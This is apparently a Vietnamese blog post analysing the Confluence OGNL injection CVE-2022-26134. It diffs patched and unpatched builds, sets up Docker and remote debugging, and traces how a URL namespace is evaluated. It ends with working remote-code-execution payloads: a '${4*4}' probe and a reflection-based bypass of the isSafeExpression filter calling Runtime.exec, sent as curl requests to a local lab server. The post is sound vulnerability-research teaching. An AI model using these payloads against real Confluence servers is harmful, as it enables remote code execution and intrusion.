Thực hành debug Confluence CVE-2022-26134

VHAE04VHAE04
6 min read

Đây là bài blog đầu tiên nên từ ngữ của mình hơi lủng củng mong các bạn thông cảm, Bài viết hướng đến cách thực hiện debug một trương trình nhằm hiểu rõ lỗ hổng của một cve được public và giúp bạn có thể tự re poc của một cve công khai. Bài viết được tham khảo hoàn toàn từ bài viết taidh.

Công cụ thực hiện:

  • Winmerge + idea64.exe diff (tính năng trong IntelliJ)

    -> Thực hiện diff các file code.

  • IntelliJ IDEA

    -> công cụ debug.

  • Docker

    -> Khởi tạo ảo hoá db cho Confluence.

1 Patch Analysis

CVE-2022-26134 đã được fix trong các version sau RL .

Với mô tả đánh giá thì đây là một lỗ hổng liên quan đến OGNL Injection vậy nên ta sẽ tập chung vào các đoạn code về OGNL.

Link tìm hiểm thêm về OGNL: https://hackmd.io/@tEVDftN-R5u7d5_1Xn0DGg/S1HPNhUD6

Và được hướng dẫn fix từ phiên bản 7.15.0 - 7.18.0 như sau.

Mình có thể hiện thực hiện tải file xwork-1.0.3-atlassian-10.jar đã patch lỗi hổng với filexwork-1.0.3-atlassian-8.jar Nhưng mình muốn một cái nhìn tổng quát nền mình sẽ thực hiện tải 2 version 7.18.0 vs 7.18.1 để thực hiện diff.

Các bạn có thể tải 2 phiên bản ở đây LINK.

2 Diff code Winmerge VS idea64.exe

Với Winmerge bạn có thẻ diff các folder nhưng diff các file class cần phải add plugin ngoài để có thể tự động diff các file .class (byte code).

Bạn có thể add plugin tự động decode file .class bằng cách tải https://github.com/VHAE04/Research/blob/main/tool/jd-cli-windows-1.0.0%20(vha).zip

src : syany

Sau khi cài đặt Winmerge

Bạn giải nén file zip trên truy cập tới WinMergePlugins\ForExe chạy file install.bat với quyền Administrator.

Bạn vào Plugins -> Plugin settings hiện plugins này là được.

2.1 Thực hiện diff code với Winmerge.

Bạn bỏ chọn Identical Items để chỉ hiện những file khác nhau về nội dung.

Ta chú ý về file xwork của 2 phiên bản và thực hiện so sánh.

Dạo quanh ta thấy file ActionChainResult.class có thực hiện chỉnh sửa code liên quan đến OGNL.

  • Trong hàm execute của class ActionChainResult.class xóa đoạn xử lí Ognl

  • Và xoá 2 thư viện đã import là com.opensymphony.xwork.util.OgnlValueStackcom.opensymphony.xwork.util.TextParseUtil.

Vậy là mình đã biết được endpoint để thực hiện đặt debug và tìm hiểu vấn đề.

2.2 Thực hiện diff code với idea64.exe.

Lệnh thực hiện diff IntelliJ 2 thư mục.

idea64.exe diff folder1 folder2

Điều mình không thích diff với IntelliJ vì 2 lý do:

  • Không gom các file vào thư mục như Winmerge.

  • Thực hiện so sánh độ chính xác không cao ( mình không rõ IntelliJ diff theo size hay ký tự rỗng nhưng mình đã thử chuyển chế độ so sánh theo text nhưng các file có text giống nhau nhưng khác size IntelliJ vẫn detect là khác nhau )

note: Như hình IntelliJ không thực hiện gom file vào từng chỉ mục và file ActionContext.class dù có text giống nhau nhưng IntelliJ đã đánh là khác nhau chỉ vì khác size dù mình đã chuyển chế độ Compare của ứng dụng thành Text, điều này không tốt khi mình re poc nhưng cve mà không có hint từ nhà phát hành.

3 Thực hiện debug

3.1 Setup môi trường debug

Confluence sử dụng db postgres nên ta có thể khởi tạo trên docker.

Tạo file docker-compose.yml và thực hiện chạy docker-compose up.

version: '2'
services:
  db:
    image: postgres:12.8-alpine
    ports:
      - 5432:5432
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

Thực hiện truy cập IntelliJ cấu hình debug remote JVM.

Thực hiện chỉnh sửa file atlassian-confluence-7.18.0\bin\catalina.bat thêm dòng

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

để thực hiện debug.

Note: bạn có thể thực hiện chạy toàn bộ qua docker bao gồm cả confluence và db bằng cách khởi tạo file docker-compose.yml sau:

version: "3.9"

services:
  conf:
    image: atlassian/confluence-server:7.18.0
    container_name: confluence-server
    depends_on:
      - db
    ports:
       - 8090:8090
       - 8091:8091
       - 5005:5005
    environment:
      ATL_JDBC_URL: jdbc:postgresql://db:5432/confluence
      ATL_JDBC_USER: postgres
      ATL_JDBC_PASSWORD: postgres
      ATL_DB_TYPE: postgresql
      ATL_DB_DRIVER: org.postgresql.Driver
      ATL_DB_SCHEMA_NAME: confluence
      JVM_SUPPORT_RECOMMENDED_ARGS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
      ATL_LICENSE_KEY:
        [REDACTED]

  db:
    image: postgres
    restart: always
    container_name: confluence-database
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_DB: confluence

Lưu ý đây là phiên bản java mình dùng

Thực hiện cấu hình home directory lưu ý nếu bạn không cấu hình thư mục chính sẽ bị lỗi như này trên windows.

Các bước cấu hình home directory:

Chỉnh sửa file ~\confluence\WEB-INF\classes\confluence-init.properties

confluence.home tới đường dẫn tới file confluence.

Khởi chạy file confluence bằng catalina.bat run

Truy cập tới http://127.0.0.1:8090 để cấu hình.

Thực hiện add lib để có thể debug code. Đường dẫn tới lib webapp

~\atlassian-confluence-7.18.0\confluence\WEB-INF\lib

3.2 Tiến hành debug

Thực hiện đặt breakpoint ở dòng xử lí Ognl

Tiến hành fuzz đường dẫn bằng dirsearch cho đến khi trigger breakpoint ở đây là

http://127.0.0.1:8090/.admin/

Dòng 63 khởi tạo stack Ognl.

Dòng 64 đưa namespacestack vào hàm translateVariables ở trong file TextParseUtil.class, ta f7(step) nhảy vào đây xem hàm này sẽ xử lí như nào.

Dòng 17 kiểm tra theo regex chuỗi có trong ${} không, nếu có sẽ nhảy vào vòng lặp for còn không sẽ return về namespace của mình.

Quay về dòng 65 tiếp tục xử lý tương tự với actionName

Vì lúc trước diff bản patch có 3 dòng bị xoá là 63 - 65 nên mình sẽ thử một payload khác để nhảy vào vòng for như ${4*4}

curl http://127.0.0.1:8090/%24%7B4%2A4%7D/

Track tiếp luồng code dữ liệu được đẩy vào for và được chuỗi trong ${} của namespace được gắn vào g và đẩy vào hàm findValue() F7 tiếp để xem nó xử lý như thế nào.

Hàm findValue() trong file OgnlValueStack.class nhận dữ liệu đi qua 2 dòng check null và hàm check isSafeExpression() xong được compile tại dòng 84.

Sau khi thực hiện compile trong hàm findValue() dữ liệu trả về là 16 vậy code ta đã được thực thi.

Tiến hành RCE với payload:

${@java.lang.Runtime@getRuntime().exec("calc")}

breakpoint vẫn trigger và không có chuyện gì xảy ra, nếu để ý kỹ phân tích ở trên sau khi đi qua hàm findValue() dữ liệu đi qua 2 dòng check null và hàm check isSafeExpression() tiến hành đi vào hàm để xem sao payload không hoạt động.

Hàm này sẽ gọi đến hàm isSafeExpressionInternal()

Trong hàm isSafeExpressionInternal() ta sẽ chú ý đến 2 hàm check :

  1. isUnSafeClass()

các class unsafe unsafePropertyNames

  1. OgnlUtil.compile(expression)

    Hàm này sẽ parse expression thành các AST node rồi xong sẽ được đưa vào hàm containsUnsafeExpression() để kiểm tra.

    • Các AST node được parse sẽ được duyệt qua từng node rồi so sánh với từng điều kiện để xem có hợp lệ hay không. Những yếu tố được check là:

      • node type

      • className

      • methodName

      • variable name

Điều kiện để qua được những điều này:

  • node type không nằm trong 3 type:

  • className phải thuộc 1 trong 9 class:

  • 2 method không được sử dụng:

  • Một số variable unsafe:

Tiến hành debug tại sao payload không hoạt động thì khi duyệt qua node đầu tiên thì className là java.lang.Runtime -> không nằm trong những className được cho phép

Để bypass filter này mình sử dụng Java Reflection ps : tsublogs Java Reflection

payload nối chuỗi bypass qua lọc class java.lang.Runtime:

${Class.forName("java." + "lang.Runtime").getMethod("getRuntime", null).invoke(null,null).exec("calc")}

curl:

curl http://127.0.0.1:8090/%24%7BClass.forName%28%22java.%22%20%2B%20%22lang.Runtime%22%29.getMethod%28%22getRuntime%22%2C%20null%29.invoke%28null%2Cnull%29.exec%28%22calc%22%29%7D/

Reference

0
Subscribe to my newsletter

Read articles from VHAE04 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

VHAE04
VHAE04